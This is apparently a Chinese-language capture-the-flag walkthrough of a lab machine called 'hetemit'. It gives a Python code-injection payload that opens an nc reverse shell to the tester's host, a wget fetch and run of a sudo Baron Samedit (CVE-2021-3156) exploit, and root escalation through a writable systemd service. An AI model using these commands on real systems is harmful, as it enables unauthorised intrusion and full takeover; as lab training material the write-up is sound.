先掃描收集主機資訊
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.222.117 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.222.117 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.222.117 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.222.117 -type recon;
http://hetemit/ Port 80 的網頁 看起來是用 Apache架設的
http://hetemit:18000/
http://hetemit:50000/ Port 50000 提供了兩個選擇 - generate & verify
然後由 burp 的結果看起來 他是使用跟 werkzeug 與 python相關的 api寫成的
http://hetemit:50000/generate 再繼續挖掘看看 generate 會給我們甚麼
看來是需要輸入一個 email
http://hetemit:50000/verify 而 verify 要給一個 code
如果帶入 code =2 看起來就是會回吐 2這個結果
curl -X POST -i http://hetemit:50000/verify -d "code=2"
如果帶入算式變會得到一個計算後的答案
curl -X POST -i http://hetemit:50000/verify -d "code=2*2"
試試看 Python的語法可不可以順利執行,這邊我們拿 OS來試試看
由回傳的結果看起來確實能執行
curl -X POST -i http://hetemit:50000/verify -d "code=os"
既然 python 的語法可以執行 那就代表我們有機會拿到一個 reverse shell 囉??
快點來試看看!
curl -X POST -i http://hetemit:50000/verify -d "code=os.system('nc -nv 192.168.45.195 80 -e /bin/bash')"
Bingo! 看來我們的想法是對的,只是連上去的 shell 環境需要在調整一下
調整好後,我們就可以拿 flag了!
python3 -c 'import pty; pty.spawn("/bin/bash")'
export PATH; export TERM=xterm-256color; export TERM=linux; alias ll='clear;ls -alhst --color=auto'
將 Linpeas 丟上機器後我們發現他的 sudo version 是 1.8.29
這有機會是 CVE-2021-3156 sudo Baron Samedit 的弱點 這邊我們會使用這支 exploit code https://github.com/worawit/CVE-2021-3156
手法很簡單,直接上傳靶機後執行看看能不能成功
wget http://192.168.45.195:80/exploit_nss.py -O exploit_nss.py
python3 exploit_nss.py
由結果看起來是非常順利的拿到 root 身分
也讓我們順利拿到 flag
另一個由 Linpeas 點出來的弱點是 pythonapp.service
先確認過這隻檔案的權限, 我們發現我們 (cmeeks) 跟 root竟然都可以讀跟寫這支檔案
再確認這支檔案是做甚麼用的 Google 說 ""Python App Service" refers to the capability within Azure App Service to host and run Python web applications."
簡單說 他看起來跟 python 的 web server 有關 還記得 Port 50000的服務嗎?
竟然這支檔案我們能控制,那就來看看他寫了什麼
看起來他是利用了 ExecStart 與 User 去指定 cmeeks 去 run 這個 web service 難怪我們進來拿到的是 cmeeks的身分
cat /etc/systemd/system/pythonapp.service
假設我們改變 ExecStart 執行的東西 讓他用 root 連回 Kali 是不是就有機會提升權限呢?
這邊還有另一個要確認的東西就是 cmeeks能不能重啟 server 服務
再確認過 cmeekss能執行的指令後,看起來唯一可能能做的就是重啟系統
sudo -l
好吧 在設定好監聽後 我們直接重啟機器 然後等等看 reverse shell 能不能回來
sudo reboot
大約等了五分鐘後 總算拿到 root shell 也順便拿到了 flag!
收工囉~~